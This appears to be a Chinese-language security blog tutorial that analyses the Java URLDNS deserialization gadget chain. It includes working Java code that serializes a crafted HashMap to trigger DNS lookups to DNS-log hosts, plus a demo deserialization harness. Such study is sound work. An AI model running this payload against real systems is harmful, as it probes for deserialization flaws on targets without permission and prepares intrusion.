利用链
URLDNS利用链如下:
HashMap.readObject()
->HashMap.putVal()
->HashMap.hash()
->URL.hashCode()
->URLStreamHandler.hashCode()
->URL.getHostAddress()
->URL.getByName()
利用链分析
Java中Map集合有Key和Value,可以接受任何数据类型的数据。入口类的参数是可控的并且可以是任意类或对象。
其中HashMap是Map接口的实现类,它继承了Serializable,HashMap是可被序列化的。
在HashMap重写了 readyObject
方法
在 readObject
方法中调用了 putVal
方法,在 putVal
方法中调用了 hash
方法
继续跟进,调用了 hash
方法中的 key
参数对象的 hashCode
方法
这里,参数是哪个对象就会调用哪个对象的 hashCode
方法
Java中的 URL
类,重写了 hashCode
方法并且可以DNS请求
找到 URL
类,重写了 hashCode
方法
这里的逻辑是,当 hashCode
变量为 -1
时才会执行到 handler.hashCode()
方法
handler
变量是 URLStreamHandler
类
找到 URLStreamHandler
类中的 hashCode
方法
调用了 getHostAddress
方法
再继续跟进,getByName
方法可以发起DNS请求
到这里,我们就理清楚URLDNS链的整个过程了。
利用链利用
在上面,我们说到 hashCode
变量为 -1
是才会执行 handler.hashCode()
方法,该变量默认为 -1
,那么在利用时就会出现一个问题,在执行 HashMap.put
方法时就会进行一次请求,无法确认是在反序列化时进行的DNS请求还是在序列化HashMap类时,HashMap的put方法导致的DNS请求。
HashMap hashMap = new HashMap();
URL url = new URL("http://168dc12f.dns.1433.eu.org");
Class aClass = Class.forName("java.net.URL");
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
// 先设置
hashCode.set(url,123);
hashMap.put(url,122);
hashCode.set(url,-1);
// payload
package com.abc;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class urldns implements Serializable {
public urldns() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap hashMap = new HashMap();
URL url = new URL("http://217a2aae.dns.1433.eu.org/");
Class aClass = Class.forName("java.net.URL");
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,123);
hashMap.put(url,122);
hashCode.set(url,-1);
serialize(hashMap,"obj.ser");
}
public static void serialize(Object obj,String obj_file) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(obj_file));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
}
先对 hashMap
对象进行序列化生成 obj.ser
文件
// 利用场景
package com.abc;
import java.io.*;
public class A {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
urldns urldns = new urldns();
unserialize("obj.ser");
}
public static void unserialize(String obj) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(obj));
objectInputStream.readObject();
}
}
当程序接受一个序列化对象文件并反序列化操作时就读取了序列化的 HashMap
对象,此时 HashMap
的 hashCode
值为 -1
,即可进行DNS查询。
Author: wileysec
Permalink: https://wileysec.github.io/c180fda4a6eb.html
Comments